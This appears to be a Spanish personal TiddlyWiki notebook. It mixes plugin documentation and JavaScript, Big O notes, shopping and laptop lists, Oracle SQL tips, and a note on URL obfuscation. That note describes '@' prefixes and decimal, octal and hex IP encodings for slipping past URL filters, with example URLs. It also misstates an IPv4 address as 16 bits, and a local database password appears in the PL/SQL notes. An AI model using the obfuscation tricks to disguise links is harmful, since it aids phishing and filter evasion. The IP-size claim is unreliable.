*cookiename
*heading level
*floater (with optional CSS width value)
*transient display (clicking elsewhere closes panel)
*open on hover (without needing to click)
*custom class/label/tooltip/accesskey
*alternate label/tooltip (displayed when panel is open)
*panelID (for later use with {{{<<DOM>>}}} macro. See [[DOMTweaksPlugin]])
*automatic blockquote style on panel
*deferred rendering of panel content
The complete syntax, using all options, is:
//{{{
++++(cookiename)!!!!!^width^*@{{class{[label=key|tooltip][altlabel|alttooltip]}}}#panelID:>...
content goes here
===
//}}}
where:
* ''"""+++""" (or """++++""") and """==="""''<br>marks the start and end of the slider definition, respectively. When the extra {{{+}}} is used, the slider will be open when initially displayed.
* ''"""(cookiename)"""''<br>saves the slider opened/closed state, and restores this state whenever the slider is re-rendered.
* ''"""! through !!!!!"""''<br>displays the slider label using a formatted headline (Hn) style instead of a button/link style
* ''"""^width^ (or just ^)"""''<br>makes the slider 'float' on top of other content rather than shifting that content downward. 'width' must be a valid CSS value (e.g., "30em", "180px", "50%", etc.). If omitted, the default width is "auto" (i.e., fit to content)
* ''"""*"""''<br>denotes "transient display": when a click occurs elsewhere in the document, the slider/floating panel will be automatically closed. This is useful for creating 'pulldown menus' that automatically go away after they are used. //Note: using SHIFT-click on a slider label will open/close that slider without triggering the automatic closing of any transient slider panels that are currently displayed, permitting ''temporary'' display of several transient panels at once.//
* ''"""@"""''<br>denotes "open on hover": the slider/floating panel will be automatically opened as soon as the mouse moves over the slider label, without requiring a click.
* ''"""{{class{[label=key|tooltip][altlabel|alttooltip]}}}"""''<br>uses label/tooltip/accesskey. """{{class{...}}}""", """=key""", """|tooltip""" and """[altlabel|alttooltip]""" are optional. 'class' is any valid CSS class name, used to style the slider label text. 'key' must be a ''single letter only''. altlabel/alttooltip specify alternative label/tooltip for use when slider/floating panel is displayed. //Note: you can use HTML syntax within the label text to include HTML entities (e.g., {{{»}}} (») or {{{►}}} (►), or even embedded images (e.g., {{{<img src="images/eric3.gif">}}}).//
* ''"""#panelID:"""''<br>defines a unique DOM element ID that is assigned to the panel element used to display the slider content. This ID can then be used later to reposition the panel using the {{{<<DOM move id>>}}} macro (see [[DOMTweaksPlugin]]), or to access/modify the panel element through use of {{{document.getElementById(...)}}}) javascript code in a plugin or inline script.
* ''""">"""''<br>automatically adds blockquote formatting to slider content
* ''"""..."""''<br>defers rendering of closed sliders until the first time they are opened. //Note: deferred rendering may produce unexpected results in some cases. Use with care.//
//Note: to make slider definitions easier to read and recognize when editing a tiddler, newlines immediately following the {{{+++}}} 'start slider' or preceding the {{{===}}} 'end slider' sequence are automatically supressed so that excess whitespace is eliminated from the output.//
<<<
!!!!!Examples
<<<
simple in-line slider:
{{{
+++
content
===
}}}
+++
content
===
----
use a custom label and tooltip:
{{{
+++[label|tooltip]
content
===
}}}
+++[label|tooltip]
content
===
----
content automatically blockquoted:
{{{
+++>
content
===
}}}
+++>
content
===
----
all options (except cookie) //(default open, heading, sized floater, transient, open on hover, class, label/tooltip/key, blockquoted, deferred)//
{{{
++++!!!^30em^*@{{big{[label=Z|click or press Alt-Z to open]}}}>...
content
===
}}}
++++!!!^30em^*@{{big{[label=Z|click or press Alt-Z to open]}}}>...
content
===
----
complex nesting example:
{{{
+++[get info...=I|click for information or press Alt-I]
put some general information here,
plus a floating panel with more specific info:
+++^10em^[view details...|click for details]
put some detail here, which could in turn contain a transient panel,
perhaps with a +++^25em^*[glossary definition]explaining technical terms===
===
===
}}}
+++[get info...=I|click for information or press Alt-I]
put some general information here,
plus a floating panel with more specific info:
+++^10em^[view details...|click for details]
put some detail here, which could in turn contain a transient panel,
perhaps with a +++^25em^*[glossary definition]explaining technical terms===
===
===
----
embedded image as slider button
{{{
+++[<img src=images/eric3.gif>|click me!]>
{{big{OUCH!}}}
===
}}}
+++[<img src=images/eric3.gif>|click me!]>
{{big{OUCH!}}}
===
<<<
!!!!!Revisions
<<<
2008.11.15 - 2.4.9 in adjustNestedSlider(), don't make adjustments if panel is marked as 'undocked' (CSS class). In onClickNestedSlider(), SHIFT-CLICK docks panel (see [[MoveablePanelPlugin]])
2008.11.13 - 2.4.8 in document.onclick(), if transient panel is not a sliderPanel or floatingPanel, hide it via CSS
2008.10.05 - 2.4.7 in onClickNestedSlider(), added try/catch around focus() call to prevent IE error if input field being focused on is currently not visible.
2008.09.07 - 2.4.6 added removeCookie() function for compatibility with [[CookieManagerPlugin]]
2008.06.07 - 2.4.5 in 'onmouseover' handler for 'open on hover' slider buttons, use call() method when invoking document.onclick function (avoids error in IE)
2008.06.07 - 2.4.4 changed default for chkFloatingSlidersAnimate to FALSE to avoid clipping problem on some browsers (IE). Updated Morpher hijack (again) to adjust regular sliderPanel styles as well as floatingPanel styles.
2008.05.07 - 2.4.3 updated Morpher hijack to adjust floatingPanel styles after animation without affecting other animated elements (i.e. popups). Also, updated adjustSliderPos() to account for scrollwidth and use core findWindowWidth().
2008.04.02 - 2.4.2 in onClickNestedSlider, handle clicks on elements contained //within// slider buttons (e.g., when using HTML to display an image as a slider button).
2008.04.01 - 2.4.1 open on hover also triggers document.onclick to close other transient sliders
2008.04.01 - 2.4.0 re-introduced 'open on hover' feature using "@" symbol
2008.03.26 - 2.3.5 in document.onclick(), if click is in popup, don't dismiss transient panel (if any)
2008.01.08 - [*.*.*] plugin size reduction: documentation moved to ...Info tiddler
2007.12.28 - 2.3.4 added hijack for Animator.prototype.startAnimating(). Previously, the plugin code simply set the overflow to "visible" after animation. This code tweak corrects handling of elements that were styled with overflow=hidden/auto/scroll before animation by saving the overflow style and then restoring it after animation has completed.
2007.12.17 - 2.3.3 use hasClass() instead of direct comparison to test for "floatingPanel" class. Allows floating panels to have additional classes assigned to them (i.e., by AnimationEffectsPlugin).
2007.11.14 - 2.3.2 in onClickNestedSlider(), prevent SHIFT-click events from opening a new, empty browser window by setting "cancelBubble=true" and calling "stopPropagation()". Note: SHIFT-click is still processed as a normal click (i.e., it toggles the slider panel display). Also, using SHIFT-click will prevent 'transient' sliders from being automatically closed when another slider is opened, allowing you to *temporarily* display several transient sliders at once.
2007.07.26 - 2.3.1 in document.onclick(), propagate return value from hijacked core click handler to consume OR bubble up click as needed. Fixes "IE click disease", whereby nearly every mouse click causes a page transition.
2007.07.20 - 2.3.0 added syntax for setting panel ID (#panelID:). This allows individual slider panels to be repositioned within tiddler content simply by giving them a unique ID and then moving them to the desired location using the {{{<<DOM move id>>}}} macro.
2007.07.19 - 2.2.0 added syntax for alttext and alttip (button label and tooltip to be displayed when panel is open)
2007.07.14 - 2.1.2 corrected use of 'transient' attribute in IE to prevent (non-recursive) infinite loop
2007.07.12 - 2.1.0 replaced use of "*" for 'open/close on rollover' (which didn't work too well). "*" now indicates 'transient' panels that are automatically closed if a click occurs somewhere else in the document. This permits use of nested sliders to create nested "pulldown menus" that automatically disappear after interaction with them has been completed. Also, in onClickNestedSlider(), use "theTarget.sliderCookie", instead of "this.sliderCookie" to correct cookie state tracking when automatically dismissing transient panels.
2007.06.10 - 2.0.5 add check to ensure that window.adjustSliderPanel() is defined before calling it (prevents error on shutdown when mouse event handlers are still defined)
2007.05.31 - 2.0.4 add handling to invoke adjustSliderPanel() for onmouseover events on slider button and panel. This allows the panel position to be re-synced when the button position shifts due to changes in unrelated content above it on the page. (thanks to Harsha for bug report)
2007.03.30 - 2.0.3 added chkFloatingSlidersAnimate (default to FALSE), so that slider animation can be disabled independent of the overall document animation setting (avoids strange rendering and focus problems in floating panels)
2007.03.01 - 2.0.2 for TW2.2+, hijack Morpher.prototype.stop so that "overflow:hidden" can be reset to "overflow:visible" after animation ends
2007.03.01 - 2.0.1 in hijack for Slider.prototype.stop, use apply() to pass params to core function
2006.07.28 - 2.0.0 added custom class syntax around label/tip/key syntax: {{{{{classname{[label=key|tip]}}}}}}
2006.07.25 - 1.9.3 when parsing slider, save default open/closed state in button element, then in onClickNestedSlider(), if slider state matches saved default, instead of saving cookie, delete it. Significantly reduces the 'cookie overhead' when default slider states are used.
2006.06.29 - 1.9.2 in onClickNestedSlider(), when setting focus to first control, skip over type="hidden"
2006.06.22 - 1.9.1 added panel.defaultPanelWidth to save requested panel width, even after resizing has changed the style value
2006.05.11 - 1.9.0 added optional '^width^' syntax for floating sliders and '=key' syntax for setting an access key on a slider label
2006.05.09 - 1.8.0 in onClickNestedSlider(), when showing panel, set focus to first child input/textarea/select element
2006.04.24 - 1.7.8 in adjustSliderPos(), if floating panel is contained inside another floating panel, subtract offset of containing panel to find correct position
2006.02.16 - 1.7.7 corrected deferred rendering to account for use-case where show/hide state is tracked in a cookie
2006.02.15 - 1.7.6 in adjustSliderPos(), ensure that floating panel is positioned completely within the browser window (i.e., does not go beyond the right edge of the browser window)
2006.02.04 - 1.7.5 add 'var' to unintended global variable declarations to avoid FireFox 1.5.0.1 crash bug when assigning to globals
2006.01.18 - 1.7.4 only define adjustSliderPos() function if it has not already been provided by another plugin. This lets other plugins 'hijack' the function even when they are loaded first.
2006.01.16 - 1.7.3 added adjustSliderPos(place,btn,panel,panelClass) function to permit specialized logic for placement of floating panels. While it provides improved placement for many uses of floating panels, it exhibits a relative offset positioning error when used within *nested* floating panels. Short-term workaround is to only adjust the position for 'top-level' floaters.
2006.01.16 - 1.7.2 added button property to slider panel elements so that slider panel can tell which button it belongs to. Also, re-activated and corrected animation handling so that nested sliders aren't clipped by hijacking Slider.prototype.stop so that "overflow:hidden" can be reset to "overflow:visible" after animation ends
2006.01.14 - 1.7.1 added optional "^" syntax for floating panels. Defines new CSS class, ".floatingPanel", as an alternative for standard in-line ".sliderPanel" styles.
2006.01.14 - 1.7.0 added optional "*" syntax for rollover handling to show/hide slider without requiring a click (Based on a suggestion by tw4efl)
2006.01.03 - 1.6.2 When using optional "!" heading style, instead of creating a clickable "Hn" element, create an "A" element inside the "Hn" element. (allows click-through in SlideShowPlugin, which captures nearly all click events, except for hyperlinks)
2005.12.15 - 1.6.1 added optional "..." syntax to invoke deferred ('lazy') rendering for initially hidden sliders
removed checkbox option for 'global' application of lazy sliders
2005.11.25 - 1.6.0 added optional handling for 'lazy sliders' (deferred rendering for initially hidden sliders)
2005.11.21 - 1.5.1 revised regular expressions: if present, a single newline //preceding// and/or //following// a slider definition will be suppressed so start/end syntax can be place on separate lines in the tiddler 'source' for improved readability. Similarly, any whitespace (newlines, tabs, spaces, etc.) trailing the 'start slider' syntax or preceding the 'end slider' syntax is also suppressed.
2005.11.20 - 1.5.0 added (cookiename) syntax for optional tracking and restoring of slider open/close state
2005.11.11 - 1.4.0 added !!!!! syntax to render slider label as a header (Hn) style instead of a button/link style
2005.11.07 - 1.3.0 removed alternative syntax {{{(((}}} and {{{)))}}} (so they can be used by other formatting extensions) and simplified/improved regular expressions to trim multiple excess newlines
2005.11.05 - 1.2.1 changed name to NestedSlidersPlugin
2005.11.04 - 1.2.0 added alternative character-mode syntax {{{(((}}} and {{{)))}}}
tweaked "eat newlines" logic for line-mode {{{+++}}} and {{{===}}} syntax
2005.11.03 - 1.1.1 fixed toggling of default tooltips ("more..." and "less...") when a non-default button label is used. code cleanup, added documentation
2005.11.03 - 1.1.0 changed delimiter syntax from {{{(((}}} and {{{)))}}} to {{{+++}}} and {{{===}}}. changed name to EasySlidersPlugin
2005.11.03 - 1.0.0 initial public release
<<<
* {{{<<newChild>>}}} <<newChild>>
* {{{<<newChild useName:true>>}}} <<newChild useName:true>>
* {{{<<newChild useName:true inheritTags:true>>}}} <<newChild useName:true inheritTags:true>>
* {{{<<newChild label:"Nuevo ejemplo" tag:[[otro ejemplo]] tag:Ejemplo patata:"otro parametro">>}}} <<newChild label:"Nuevo ejemplo" tag:[[otro ejemplo]] tag:Ejemplo patata:"otro parametro">>
* {{{<<newChild label:"Nuevo ejemplo" tag:[[otro ejemplo]] tag:Ejemplo patata:"otro parametro" excludeTag:[[otro tag]] excludeTag:misPlugins debug_on:true>>}}} <<newChild label:"Nuevo ejemplo" tag:[[otro ejemplo]] tag:Ejemplo patata:"otro parametro" excludeTag:[[otro tag]] excludeTag:misPlugins debug_on:true>>
/***
|Name:|NewHereExtendedPlugin|
|Description:|Creates a new tiddler that inherits tags. Based in the NewHerePlugin|
|Version:|1.0 ($Rev: 1 $)|
|Author:|Rubén C. J. based on the work of Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
!Description
This plugin is based on [[NewHerePlugin]] and defines the macro {{{<<newChild>>}}}. Like it, by default uses the name of the parent tiddler as a tag for the new tiddler, but with this version you can especify the parameter {{{inheritTags:true}}}, and the new tiddler will use the parent's tags.
!Examples:
[[NewHereExtendedDemo]]
!Code
***/
//{{{
config.macros.newChild= {};
config.macros.newChild.handler = function(place,macroName,params,wikifier,paramString,tiddler) {
//Check parameters
var prms = paramString.parseParams("anon", null, true);
var useName = getParam(prms, "useName") || true;
var inheritTags = getParam(prms, "inheritTags") || false;
var excludeTag = getParam(prms, "excludeTag") || "";
var debug_on = getParam(prms, "debug_on") == "true";
//Take tags from parent
var tags_str = "";
if (inheritTags) {
for (var i = 0; i < tiddler.tags.length; i++) {
if (tiddler.tags[i].trim() != excludeTag.trim()) {
tags_str += "tag:[["+tiddler.tags[i]+"]] ";
}
}
}
//Use tiddler name as tag
if (useName) {
tags_str += "tag:[["+tiddler.title+"]] ";
}
//Debug
if (debug_on) {
var debug_msg = "";
//debug_msg += "\n- params("+typeof params+"): '"+params+"'";
debug_msg += "\n- paramString-> "+paramString;
debug_msg += "\n- Tags-> "+tiddler.tags;
debug_msg += "\n- tags_str-> "+tags_str;
debug_msg += "\n- excludeTag-> "+excludeTag;
debug_msg += "\n- useName-> "+useName;
alert(debug_msg);
}
wikify("<<newTiddler "+paramString+" "+tags_str+" >>",place,null,tiddler);
};
//}}}
/***
|Name:|NewHerePlugin|
|Description:|Creates the new here and new journal macros|
|Version:|3.0 ($Rev: 3861 $)|
|Date:|$Date: 2008-03-08 10:53:09 +1000 (Sat, 08 Mar 2008) $|
|Source:|http://mptw.tiddlyspot.com/#NewHerePlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
***/
//{{{
merge(config.macros, {
newHere: {
handler: function(place,macroName,params,wikifier,paramString,tiddler) {
wikify("<<newTiddler "+paramString+" tag:[["+tiddler.title+"]]>>",place,null,tiddler);
}
},
newJournalHere: {
handler: function(place,macroName,params,wikifier,paramString,tiddler) {
wikify("<<newJournal "+paramString+" tag:[["+tiddler.title+"]]>>",place,null,tiddler);
}
}
});
//}}}
/***
|Name:|NewMeansNewPlugin|
|Description:|If 'New Tiddler' already exists then create 'New Tiddler (1)' and so on|
|Version:|1.1.1 ($Rev: 2263 $)|
|Date:|$Date: 2007-06-13 04:22:32 +1000 (Wed, 13 Jun 2007) $|
|Source:|http://mptw.tiddlyspot.com/empty.html#NewMeansNewPlugin|
|Author:|Simon Baird <simon.baird@gmail.com>|
|License|http://mptw.tiddlyspot.com/#TheBSDLicense|
!!Note: I think this should be in the core
***/
//{{{
// change this or set config.newMeansNewForJournalsToo it in MptwUuserConfigPlugin
if (config.newMeansNewForJournalsToo == undefined) config.newMeansNewForJournalsToo = true;
String.prototype.getNextFreeName = function() {
var numberRegExp = / \(([0-9]+)\)$/;
var match = numberRegExp.exec(this);
if (match) {
var num = parseInt(match[1]) + 1;
return this.replace(numberRegExp," ("+num+")");
}
else {
return this + " (1)";
}
}
config.macros.newTiddler.checkForUnsaved = function(newName) {
var r = false;
story.forEachTiddler(function(title,element) {
if (title == newName)
r = true;
});
return r;
}
config.macros.newTiddler.getName = function(newName) {
while (store.getTiddler(newName) || config.macros.newTiddler.checkForUnsaved(newName))
newName = newName.getNextFreeName();
return newName;
}
config.macros.newTiddler.onClickNewTiddler = function()
{
var title = this.getAttribute("newTitle");
if(this.getAttribute("isJournal") == "true") {
title = new Date().formatString(title.trim());
}
// ---- these three lines should be the only difference between this and the core onClickNewTiddler
if (config.newMeansNewForJournalsToo || this.getAttribute("isJournal") != "true")
title = config.macros.newTiddler.getName(title);
var params = this.getAttribute("params");
var tags = params ? params.split("|") : [];
var focus = this.getAttribute("newFocus");
var template = this.getAttribute("newTemplate");
var customFields = this.getAttribute("customFields");
if(!customFields && !store.isShadowTiddler(title))
customFields = String.encodeHashMap(config.defaultCustomFields);
story.displayTiddler(null,title,template,false,null,null);
var tiddlerElem = story.getTiddler(title);
if(customFields)
story.addCustomFields(tiddlerElem,customFields);
var text = this.getAttribute("newText");
if(typeof text == "string")
story.getTiddlerField(title,"text").value = text.format([title]);
for(var t=0;t<tags.length;t++)
story.setTiddlerTag(title,tags[t],+1);
story.focusTiddler(title,focus);
return false;
};
//}}}
! Introducción
La notación //"O()"// también es conocida como //"notación o mayúscula"// o en inglés //"big O"// es una manera de clasificar la eficiencia, eficacia o complejidad de un algoritmo informático, poniéndose siempre en el caso peor.
La expresión que se pone entre los paréntesis indica a grosso modo como se comporta el algoritmo conforme aumenta el tamaño de la entrada o del dato a calcular. Las expresiones son siempre aproximadas y sirven para hacerse una idea de lo rápido que crecerá el consumo de recursos conforme aumente la complejidad del calculo, no pretende ser una medida exacta.
En otras palabras, da un órden de magnitud, no un valor exacto, sobre el consumo de tiempo o recursos de un algoritmo en función al tamaño de la entrada de datos. En cuanto se vean las distintas categorías se comprenderá mucho mejor.
! Clasificación de los algoritmos
A continuación se detallan los siguientes tipos de algoritmos ordenados de mejor a peor comportamiento.
!! O(1)
Un algoritmo de este tipo es un algoritmo que necesita los mismos recursos (tarda siempre lo mismo o siempre consume la misma memoria) independientemente del tamaño de la entrada. Este es el mejor de los casos posibles, y casi siempre inalcanzable. Un ejemplo sería la extracción del primer elemento de una lista.
!!O(log n)
La complejidad crece con el logaritmo del tamaño de la entrada. Este tipo de comportamiento es muy deseable para un algoritmo, dado que crece mucho más lentamente que casi cualquier otro
!!O((log n)^^2^^)
Este caso es algo peor que el anterior, pero, en general, O((log n)^^C^^) donde c es una constante, crece más lento que el tamaño de la entrada, así que siguen siendo algoritmos bastante óptimos.
!! O(n)
Este tipo de algoritmos son algoritmos que aumentan linealmente el consumo de recursos. Es el caso de los bucles simples: cuantos más elementos, más tiempo se tardará en procesarlos. A partir de este orden de magnitud el consumo de tiempo y/o recursos comienza a crecer más rápidamente que el tamaño que los datos de entrada.
!!O(n log n) ó O(log n!)
La complejidad y/o gasto de recursos de estos algoritmos es mayor que los anteriores, pero todavía sigue estando dentro de lo razonable, aunque aumenta algo más rápido que el tamaño de la entrada a procesar. Muchos algoritmos pueden ser adaptados y optimizados como mucho hasta este orden de magnitud.
!! O(n^^2^^)
Este otro tipo de algoritmos son algoritmos que crecen cuadráticamente. Esto es, si se representa el consumo de recursos en una gráfica, el consumo crecerá como una parábola. El ejemplo típico sería un algoritmo que precise dos bucles anidados. Esta categoría se puede generalizar: un algoritmo cuyo gasto de recursos aumente al cubo será O(N^^3^^), etc.
!! O(2^^n^^)
Este es un caso mucho peor, en el que el rendimiento cae exponencialmente con el tamaño de la entrada. Es uno de los peores casos, ya que es muy fácil que sea imposible realizar el calculo por falta de recursos con un conjunto relativamente pequeño de datos. Típicamente suelen presentar este comportamiento algoritmos de fuerza bruta, como el backtracking.
!! O(n!)
Es el menos óptimo de los algoritmos, y hay que evitarlo siempre que se pueda. El consumo de tiempo y/o recursos aumenta increiblemente rápido en relación con el tamaño o complejidad de los datos de entrada.
!Comparación
(:graph({width:640,height:480,scales:[0,8,-1,15]})
grid({dx:1,stroke:"gray"});
axes({marker:">"});
plot("1",{min:1, stroke:"red"})
plot("log(x)",{min:1, stroke:"blue"})
plot("pow(log(x), 2)",{min:1, stroke:"green"})
plot("x",{min:1, stroke:"orange"})
plot("x*log(x)",{min:1, stroke:"red", strokedasharray:"10,10"})
plot("pow(x, 2)",{min:1, stroke:"bue", strokedasharray:"10,10"})
plot("pow(2, x)",{min:1, stroke:"green", strokedasharray:"10,10"})
plot("factorial(x)",{min:1, stroke:"orange", strokedasharray:"10,10"})
text([1,9],"O(1)",{fontsize:10,fontfill:"red"});
text([1,8.5],"O(log n)",{fontsize:10,fontfill:"blue"});
text([1,8],"O((log n)^2)",{fontsize:10,fontfill:"green"});
text([1,7.5],"O(n)",{fontsize:10,fontfill:"orange"});
text([1,6.5],"O(n log n)",{fontsize:10,fontfill:"red"});
text([1,6],"O(n^2)",{fontsize:10,fontfill:"blue"});
text([1,5.5],"O(2^x)",{fontsize:10,fontfill:"green"});
text([1,5],"O(n!)",{fontsize:10,fontfill:"orange"});
:)
!Más información
http://rob-bell.net/2009/06/a-beginners-guide-to-big-o-notation/
http://en.wikipedia.org/wiki/Big_O_notation
!Propósito
Anotaciones rápidas, ideas para el blog
!Cosas pendientes
* http://www.ossim.net/
* http://carl.kenner.googlepages.com/glovepie
! Ideas para google wave
* Comprobador de enlaces para saber si nos redirige a lemonparty y similares
* Extractor de citas de "fortunes"
* Notificar eventos a ciertas horas (Virtual Ruben for the win!)
* Generador de frases absurdas
* Función "pregúntale a VR" que busque en wikipedia, google y Ruben Pedia
* Etiquetar/colorear conversaciones en función de su contenido: si tiene las palabras "pp" y "psoe" que se etiquete como "política" si tiene "tinto de verano" como "bio hazard", etc.
* Sistema de votaciones
*
!Lista de compras
Cosas interesantes que comprar por internet:
* ''dealextreme:''
** Cerdo-llavero: http://dealextreme.com/details.dx/sku.1138
** ethernet retractil 1.5m: http://dealextreme.com/details.dx/sku.473
** ethernet retractil 2.5m: http://www.dealextreme.com/details.dx/sku.22400
** ganzuas: http://dealextreme.com/details.dx/sku.16417
** USB to IDE/SATA: http://www.dealextreme.com/details.dx/sku.474
** mando a distancia: http://www.dealextreme.com/details.dx/sku.2663
** tornillos: http://www.dealextreme.com/details.dx/sku.16104
! Consejos
* Intel serie P consume 25w y la serie T 35w. La serie I son quadcores demasiado caros y consumen muuucha batería.
* Recomendados: P8600 ó P8400
* Pantallas Dell problemáticas
* Acer poco resistentes
* Sony buenos, pero un pelín caros
!Tiendas
http://foro.noticias3d.com/vbulletin/showthread.php?t=29396
! Actual
* Tamaño: 338 x 274 x 38 mm
* Peso: 2,7 kg
* Procesador: Pentium M 1.5Ghz L2 2Mb
* HD: 4200 rpm
* Pantalla: TFT 15.4', 1.024 x 768, 16,7
* Gráficos: Intel® 855GME 64 MB DDR RAM (compartida)
* Batería: Litio-ión, 10,8 V x 4.400 mAh . Duración máxima Hasta 3:48 horas
! Candidato Sony [[FW41|https://www.sonystyle-europe.com/SonyStyle/catalog/updateItems/(z_cua_add=&citemarea=4874630037C7003EE10080002BC29B86&layout=15_132_61_55_133_137&next=seeItem&carea=4874630037C7003EE10080002BC29B86&order=null&citem=4874630037C7003EE10080002BC29B864A843292EDFF008BE10080002BC29B74&z_cua_sel_acc=&z_cua_accArea=z_cua_specs&uiarea=2&ctype=areaDetails&isHideActive=)/.do#bottomTabs]]
* Tamaño: 384 x 261 x 37 mm
* Peso: 3,3 kg
* Procesador: P8700 (2,53 GHz)
* HD: 500GB (5400rpm)
* Pantalla: 16.4'
* Graficos: ATI HD 4650
* Bateria: 2.5h
* Precio: 1299€
! Candidato Toshiba [[Qosmio F50 | http://es.computers.toshiba-europe.com/innovation/product/Qosmio-F50-10Q/1056742/toshibaShop/false/]]
* Tamaño: 368 x 278 x 47 mm
* Peso: 2.9 kg
* Procesador: P8600 (2.40 GHz)
* HD: GB (5400rpm)
* Pantalla: 15.4'
* Graficos: Nvidia 9700M GTS
* Bateria: 1.5h
* Precio: 1206€ (sin IVA)
!Descripción
Apuntes sobre sistemas operativos
!Apuntes rápidos
*
!Enlaces interesantes
*
!Temas
<<newChild
title:"<nuevo_tema>"
label:"Nuevo tema"
prompt:"Crea un nuevo tema"
tag:[[tema]]
tag:[[incompleto]]
excludeTag:[[categoria]]
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("tema")'>>
!Subcategorías
<<newChild
title:"<nueva_subcategoria>"
label:"Nueva subcategoría"
prompt:"Crea una nueva subcategoría"
tag:[[categoria]]
text:{{store.getTiddlerText("<plantilla_categoria>")}}
>>
<<forEachTiddler where 'tiddler.tags.contains(context.inTiddler.title) && tiddler.tags.contains("categoria")'>>
! Introducción
La ofuscación de URL es una técnica utilizada para saltarse los controles y filtros sobre las URLs formadas de distintas maneras, o para hacer que una URL no sea legible para una persona. Las posibilidades son muchas, y casi todas malvadas :)
! Transformaciones
Sobre una URL se le pueden aplicar diversas transformaciones de forma que cambia el aspecto a simple vista pero sigue apuntando a la misma dirección. Estas transformaciones se pueden aplicar en casi cualquier orden y momento, a toda la URL o sólo a ciertas partes. Se pueden usar de forma creativa para que la URL parezca completamente distinta. Estas son las transformaciones posibles:
!! Uso de la arroba '@'
Entre el {{{http://}} y el cuerpo de la dirección se puede poner cualquier cosa terminada en arroba. Lo que halla entre {{{http://}}} y la {{{@}}} no será interpretado por el navegador. Lo que hay antes de la arroba se usa en páginas con autenticación para enviar el usuario y contraseña (separados por {{{:}}}), pero en las páginas sin autentitación HTTP, estos parámetros son ignorados. Por ejemplo:
|!Original |http://info.yahoo.com/privacy/es/yahoo/ |
|!Modificada |http://loquesea2341+}@info.yahoo.com/privacy/es/yahoo/|
En los navegadores modernos (he probado con firefox) te muestra un mensaje de advertencia.
!! Codificar al IP de formas distintas
Las IPs se suelen proporcionar como cuatro valores entre 0 y 255 separados por puntos, pero esta no es la única manera. Una IP es en realidad un bloque de 16 bits (2 bytes). En definitiva, una IP es un número en base 256, y se puede convertir a otras bases.
* Decimal (base 10): Se puede convertir una IP con la forma {{{A.B.C.D}}} en un número aplicando la fórmula siguiente:
$$ x = D+C\cdot256+B\cdot256^{2}+A\cdot256^{3}$$
* Octal separado por puntos: Cada componente de la IP se convierte a base octal. Cada componente debe comenzar obligatoriamente por uno o más ceros.
* Octal sin puntos: Primero se convierte el número a decimal. Una vez hecho, se puede transformar en octal. Siempre debe comenzar por uno o más ceros.
* Hexadecimal con puntos: Al igual que con los métodos anteriores, cada componente de la IP se puede convertir a hexadecimal. En este caso, cada componente debe comenzar por '{{{0x}}}'.
* Hexadecimal sin puntos: Si cada parte de la IP se codifica como hexadecimal de dos dígitos, se pueden pegar las 4 componentes con un '{{{0x}}}' delante, sin necesidad de hacer más cálculos.
* Hexadecimal sin puntos (con dígitos de más): Algunos navegadores sólo cogen los 8 últimos dígitos hexadecimales, por lo que se pondrían poner cualesquiera dígitos hexadecimanes entre el '{{{0x}}}' y la primera cifra.
Ejemplo comparativo:
|!Original |http://87.248.122.90/privacy/es/yahoo/ (host: info.yahoo.com) |
|!Decimal |http:/1475902042/privacy/es/yahoo/ |
|!Octal con puntos |http://0127.0370.0000172.00000000132/privacy/es/yahoo/ |
|!Octal sin puntos |http://012776075132/privacy/es/yahoo/ |
|!Hexadecima con puntos |http://0x57.0xf8.0x7a.0x5a/privacy/es/yahoo/ |
|!Hexadecimal sin puntos |http://0x57f87a5a/privacy/es/yahoo/ |
|!Hexadecimal sin puntos (con dígitos de más) |http://0x0123456789ABcd57f87a5a/privacy/es/yahoo/ |
!! Sustituir caracteres por su equivalente hexadecimal
Está permitido usar caracteres ASCII codificados en hexadecimal en las URL. Un caracter definido por su código hexadecimal consiste en un '{{{%}}}' seguido de dos caracteres hexadecimales. Por ejemplo, el caracter de espacio en blanco equivale a {{{%20}}}. Se pueden sustituir cualesquiera caracteres. Ejemplo con las vocales sustituidas:
|!Original |http://info.yahoo.com/privacy/es/yahoo/ |
|!Modificada |http://%69nf%6F.y%61h%6F%6F.c%6Fm/pr%69v%61cy/%65s/y%61h%6F%6F/|
! Más información
http://www.pc-help.org/obscure.htm
Oracle dispone de un juego de funciones para utilizar los campos de las filas anteriores y posteriores.
! Usar datos de filas anteriores
Para obtener datos de filas anteriores se usa la construcción siguiente:
{{{
LAG(<columna>, <número de filas atrás>, <valor por defecto>) OVER (ORDER BY <columna de ordenación>)
}}}
Por ejemplo, para obtener el dato numérico de la fila anterior y dejar {{{'0'}}}como valor por defecto, se podría hacer así:
{{{
SELECT
id,
numeros,
LAG(numeros, 1, 0) OVER (order by id) AS anterior
FROM tabla
ORDER by id
}}}
Y el resultado tendría un aspecto similar al siguiente:
| !ID | !NUMEROS | !anterior|
| 1| 27| 0|
| 2| 31| 27|
| 3| 55| 31|
| 4| 84| 55|
! Usar datos de filas posteriores
La construcción complemetnaria de {{{LAG}}} es {{{LEAD}}}, y tiene una sintaxis idéntida a la de {{{LAG}}}:
{{{
LEAD(<columna>, <número de filas atrás>, <valor por defecto>) OVER (ORDER BY <columna de ordenación>)
}}}
El ejemplo anterior resultaría como sigue:
{{{
SELECT
id,
numeros,
LEAD(numeros, 1, 0) OVER (order by id) AS anterior
FROM tabla
ORDER by id
}}}
Y el resultado tendría un aspecto similar al siguiente:
| !ID | !NUMEROS | !anterior|
| 1| 27| 31|
| 2| 31| 55|
| 3| 55| 84|
| 4| 84| 0|
!Descripción
Notas sobre PL/SQL
!Apuntes rápidos
* Base de datos local:
** Cadena de Easy Connect: {{{SYSTEM/comex@localhost:1521/XE}}}
** Cadena de JDBC: {{{jdbc:oracle:thin:@localhost:1521:XE}}}
* Si pones mal un tipo de columna, Oracle 10 devuelve el siguiente error: {{{ORA-00907: missing right parenthesis}}}
* Utiliza el tipo {{{VARCHAR2}}} en Oracle en vez de {{{VARCHAR}}}.
* Hay dos maneras sencillas de utilizar el caracter "&" en PL/SQL sin que sea interpretado como una variable.
** Desactivar el uso de variables: {{{SET DEFINE OFF}}}
** Cambiar el caracter para variables: {{{SET DEFINE ~}}}
* Crear un sinónimo: {{{}}}
* Creación de un tablespace
{{{
create tablespace <NOMBRE_TABLESPACE>
logging
datafile '/opt/oracle/product/10.2.0/oradata/huerva/<NOMBRE_ARCHIVO>.dbf'
size 128m
autoextend on
next 32m;
}}}
